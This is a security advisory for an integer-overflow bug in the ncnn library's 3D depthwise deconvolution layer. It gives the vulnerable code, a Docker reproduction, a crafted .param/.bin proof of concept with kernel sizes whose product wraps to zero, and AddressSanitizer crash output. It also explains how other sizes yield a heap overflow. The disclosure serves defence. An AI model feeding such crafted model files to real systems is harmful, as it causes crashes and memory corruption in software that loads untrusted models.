Integer Overflow in 3D Deconvolution Causes Invalid Write

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/deconvolutiondepthwise3d.cpp:89 in deconvolutiondepthwise3d
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x564fe95d37ad bp 0x7fff395b3b20 sp 0x7fff395b30d0 T0)

Summary

DeconvolutionDepthWise3D computes its kernel area as a plain int product of three attacker-chosen dimensions. A model that picks dimensions whose product is a multiple of 2^32 makes that product wrap to zero, so the kernel-offset vector is allocated with no elements while the loops that fill it still iterate billions of times. The first iteration writes through the resulting invalid pointer, crashing ncnnoptimize during shape inference; the attacker supplies only the .param file and a minimal .bin.

Detail

The untrusted fields are DeconvolutionDepthWise3D parameter keys 1, 11 and 21 — kernel_w, kernel_h and kernel_d. load_param copies all three out of the ParamDict and returns 0 without any range check, and load_model only reads weight_data_size values, so the layer loads successfully. ncnnoptimize then executes the layer for real, because ModelWriter::shape_inference() (tools/modelwriter.h:435) extracts every layer top through Extractor::extract.

// src/layer/deconvolutiondepthwise3d.cpp:73
    const int maxk = kernel_w * kernel_h * kernel_d;

    // kernel offsets
    std::vector<int> _space_ofs(maxk);
    int* space_ofs = &_space_ofs[0];
    {
        int p1 = 0;
        int p2 = 0;
        int gap0 = outw * dilation_h - kernel_w * dilation_w;
        int gap1 = outh * outw * dilation_d - outw * kernel_h * dilation_h;
        for (int z = 0; z < kernel_d; z++)
        {
            for (int i = 0; i < kernel_h; i++)
            {
                for (int j = 0; j < kernel_w; j++)
                {
                    space_ofs[p1] = p2;
                    p1++;
                    p2 += dilation_w;
                }

The PoC sets 1=65536, 11=65536, 21=1. The product 65536 * 65536 * 1 is 2^32, which does not fit in int: the multiplication wraps and maxk becomes 0. std::vector<int> _space_ofs(0) allocates nothing, and &_space_ofs[0] takes the address of a non-existent element — for an empty libstdc++ vector that is the null data pointer.

The three loop bounds, however, are the unwrapped kernel_d, kernel_h and kernel_w values, so the loop nest still runs. On its very first iteration space_ofs[0] = p2 stores four bytes at address 0x0 and the process faults. Had the wrapped value been small but non-zero rather than exactly zero — any kernel triple whose 64-bit product exceeds INT_MAX — the same loops would run past the end of a real heap allocation and write attacker-influenced offset values well beyond it. Nothing between load_param and line 89 validates that maxk matches the number of iterations the loops will perform.

Reproduce

mkdir -p ncnn-poc-integer-overflow-in-3d-deconvolution-causes-invalid-write && cd ncnn-poc-integer-overflow-in-3d-deconvolution-causes-invalid-write

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=1 1=1
DeconvolutionDepthWise3D deconv 1 1 data out 0=1 1=65536 6=1 11=65536 21=1
PARAM

base64 -d > poc.bin <<'BIN'
VsACAAAAgD8=
BIN

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5bddedaf67ad bp 0x7ffd534f9da0 sp 0x7ffd534f9350 T0)
==1==The signal is caused by a WRITE memory access.
==1==Hint: address points to the zero page.
    #0 0x5bddedaf67ad in deconvolutiondepthwise3d /ncnn/src/layer/deconvolutiondepthwise3d.cpp:89
    #1 0x5bddedb0098b in ncnn::DeconvolutionDepthWise3D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/deconvolutiondepthwise3d.cpp:250
    #2 0x5bdde5016f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #3 0x5bdde5008b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x5bdde50689e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x5bdde4efa3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x5bdde4f77eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x7c588d6651c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7c588d66528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5bdde4ef7624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/deconvolutiondepthwise3d.cpp:89 in deconvolutiondepthwise3d
==1==ABORTING

Credit

Zheng Yu @ DepthFirst